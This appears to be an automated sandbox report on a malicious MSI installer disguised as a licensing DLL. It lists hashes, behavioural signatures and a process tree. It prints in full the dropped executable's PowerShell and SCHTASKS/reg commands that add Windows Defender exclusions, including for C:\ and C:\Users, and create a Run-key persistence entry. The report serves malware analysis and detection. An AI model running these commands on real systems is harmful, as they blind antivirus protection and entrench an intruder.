Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/07/2026, 11:19
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
install_c0rd012.msi
Resource
win10v2004-20260513-en
windows10-2004-x64
23 signatures
150 seconds
Behavioral task
behavioral2
Sample
install_c0rd012.msi
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
25 signatures
150 seconds
General
- Target install_c0rd012.msi
- Size 5.6MB
- Sample260731-nfbbeser2v
- SHA256 a096ade5300da53bce79618c5be69e9d85b92f35095f2235f822c00ed61bd680
- MD5 68218b5a5c1a16f3fb89a50764d29758
- SHA1 dd720386b83120cdd695d4072206b843c6a42a6b
- SHA512 eff798c37a05bfaeb8d2d47a6e50832296b63c1e75d510e2a687288263bd15f68114ddee31bb7d0b09054007a9c5b28db4cac649719557d6a415699d991f4f5a
- SSDEEP 98304:z8HsdYyFfMJhTZXuybsfe8i2pdkwdDXPhA4299ueFT8fY:z8H6F1MJhTZ3Qe8i2XkghA4V6YY
- TLSH T14A5633D9BDCAA775C08BDBB01103A66DB12DBFC17E72CC2A7AE539004EB351466B2744
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Windows security bypass 2 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\weTiyq = "0" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0" reg.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5152 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 4764 UXWaJm.exe - Loads dropped DLL 2 IoCs
pid Process 1460 MsiExec.exe 4764 UXWaJm.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\weTiyq\\UXWaJm.exe\"" UXWaJm.exe - Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 12 1460 MsiExec.exe 13 1460 MsiExec.exe - Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\D: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe - Indicator Removal: Clear Persistence 1 TTPs 4 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 4328 cmd.exe 2744 cmd.exe 1400 cmd.exe 4444 cmd.exe - Drops file in System32 directory 7 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\01C6E817D6CDFECAEC27F2EB1524A7A6_905E6EE25CEC96FCC88A884EFC247049 MsiExec.exe File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b UXWaJm.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97 MsiExec.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6 MsiExec.exe - Drops file in Windows directory 13 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DF4D651B5666D9642D.TMP msiexec.exe File created C:\Windows\Installer\SourceHash{D9042978-6444-D40B-2C07-4A301453BD6D} msiexec.exe File created C:\Windows\SystemTemp\~DFAC0BD0FA2D28937A.TMP msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\SystemTemp\~DF3EAD0CC828BE99F4.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI5673.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI576E.tmp msiexec.exe File created C:\Windows\Installer\e594fce.msi msiexec.exe File created C:\Windows\SystemTemp\~DF7A898D058783BF07.TMP msiexec.exe File created C:\Windows\Installer\e594fcc.msi msiexec.exe File opened for modification C:\Windows\Installer\e594fcc.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
pid Process 4188 msiexec.exe - Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3672 cmd.exe 6016 cmd.exe 468 cmd.exe - Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr vssvc.exe Set value (data) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 vssvc.exe - Modifies data under HKEY_USERS 9 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" MsiExec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E msiexec.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" MsiExec.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing MsiExec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe - Modifies registry class 22 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\8792409D4446B04DC270A4034135DBD6\UuueatYAD msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\ProductName = "CPUSD Licensing Dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\PackageName = "install_c0rd012.msi" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Version = "84017285" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\F625F0CC0CD8ACFACB995F759A608D16\8792409D4446B04DC270A4034135DBD6 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\PackageCode = "5422541F90B6D554AB15896F5603B8B3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\Clients = 3a0000000000 msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\Media msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8792409D4446B04DC270A4034135DBD6\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3408 schtasks.exe 5356 schtasks.exe 1908 schtasks.exe 5116 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3332 msiexec.exe 3332 msiexec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 1460 MsiExec.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe 4764 UXWaJm.exe - Suspicious behavior: LoadsDriver 6 IoCs
pid Process 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found 816 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4188 msiexec.exe Token: SeIncreaseQuotaPrivilege 4188 msiexec.exe Token: SeSecurityPrivilege 3332 msiexec.exe Token: SeCreateTokenPrivilege 4188 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4188 msiexec.exe Token: SeLockMemoryPrivilege 4188 msiexec.exe Token: SeIncreaseQuotaPrivilege 4188 msiexec.exe Token: SeMachineAccountPrivilege 4188 msiexec.exe Token: SeTcbPrivilege 4188 msiexec.exe Token: SeSecurityPrivilege 4188 msiexec.exe Token: SeTakeOwnershipPrivilege 4188 msiexec.exe Token: SeLoadDriverPrivilege 4188 msiexec.exe Token: SeSystemProfilePrivilege 4188 msiexec.exe Token: SeSystemtimePrivilege 4188 msiexec.exe Token: SeProfSingleProcessPrivilege 4188 msiexec.exe Token: SeIncBasePriorityPrivilege 4188 msiexec.exe Token: SeCreatePagefilePrivilege 4188 msiexec.exe Token: SeCreatePermanentPrivilege 4188 msiexec.exe Token: SeBackupPrivilege 4188 msiexec.exe Token: SeRestorePrivilege 4188 msiexec.exe Token: SeShutdownPrivilege 4188 msiexec.exe Token: SeDebugPrivilege 4188 msiexec.exe Token: SeAuditPrivilege 4188 msiexec.exe Token: SeSystemEnvironmentPrivilege 4188 msiexec.exe Token: SeChangeNotifyPrivilege 4188 msiexec.exe Token: SeRemoteShutdownPrivilege 4188 msiexec.exe Token: SeUndockPrivilege 4188 msiexec.exe Token: SeSyncAgentPrivilege 4188 msiexec.exe Token: SeEnableDelegationPrivilege 4188 msiexec.exe Token: SeManageVolumePrivilege 4188 msiexec.exe Token: SeImpersonatePrivilege 4188 msiexec.exe Token: SeCreateGlobalPrivilege 4188 msiexec.exe Token: SeBackupPrivilege 1364 vssvc.exe Token: SeRestorePrivilege 1364 vssvc.exe Token: SeAuditPrivilege 1364 vssvc.exe Token: SeBackupPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeBackupPrivilege 2492 srtasks.exe Token: SeRestorePrivilege 2492 srtasks.exe Token: SeSecurityPrivilege 2492 srtasks.exe Token: SeTakeOwnershipPrivilege 2492 srtasks.exe Token: SeBackupPrivilege 2492 srtasks.exe Token: SeRestorePrivilege 2492 srtasks.exe Token: SeSecurityPrivilege 2492 srtasks.exe Token: SeTakeOwnershipPrivilege 2492 srtasks.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe Token: SeTakeOwnershipPrivilege 3332 msiexec.exe Token: SeRestorePrivilege 3332 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4188 msiexec.exe 4188 msiexec.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 4188 msiexec.exe 3332 msiexec.exe 1460 MsiExec.exe - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 3332 wrote to memory of 2492 3332 msiexec.exe 94 PID 3332 wrote to memory of 1460 3332 msiexec.exe 96 PID 4764 wrote to memory of 5152 4764 UXWaJm.exe 99 PID 4764 wrote to memory of 4328 4764 UXWaJm.exe 101 PID 4328 wrote to memory of 1908 4328 cmd.exe 104 PID 4764 wrote to memory of 2744 4764 UXWaJm.exe 105 PID 4328 wrote to memory of 5720 4328 cmd.exe 107 PID 2744 wrote to memory of 5116 2744 cmd.exe 108 PID 4328 wrote to memory of 5040 4328 cmd.exe 110 PID 2744 wrote to memory of 4728 2744 cmd.exe 111 PID 2744 wrote to memory of 3800 2744 cmd.exe 112 PID 4764 wrote to memory of 1400 4764 UXWaJm.exe 114 PID 1400 wrote to memory of 3408 1400 cmd.exe 117 PID 1400 wrote to memory of 2572 1400 cmd.exe 118 PID 1400 wrote to memory of 2848 1400 cmd.exe 120 PID 4764 wrote to memory of 4444 4764 UXWaJm.exe 123 PID 4444 wrote to memory of 5356 4444 cmd.exe 125 PID 4444 wrote to memory of 2368 4444 cmd.exe 126 PID 4444 wrote to memory of 2448 4444 cmd.exe 128 PID 3672 wrote to memory of 3504 3672 cmd.exe 133 PID 6016 wrote to memory of 3736 6016 cmd.exe 134 PID 468 wrote to memory of 3428 468 cmd.exe 135 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\install_c0rd012.msi1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4188
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
- Suspicious use of AdjustPrivilegeToken
PID:2492
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C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding F258020B3DE6FB4D45F65DD34AF7BC3B E Global\MSI00002⤵
- Loads dropped DLL
- Badlisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:1460
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:1364
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C:\Users\Public\weTiyq\UXWaJm.exe"C:\Users\Public\weTiyq\UXWaJm.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:5152
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\weTiyq\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4328 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\weTiyq\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:1908
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5720
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2744 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5116
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:4728
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3800
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1400 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3408
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2572
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2848
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:4444 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5356
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:2368
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:2448
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\weTiyq" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\weTiyq" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3504
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C:\Windows\system32\cmd.execmd.exe1⤵PID:1984
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6016 -
C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3736
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:468 -
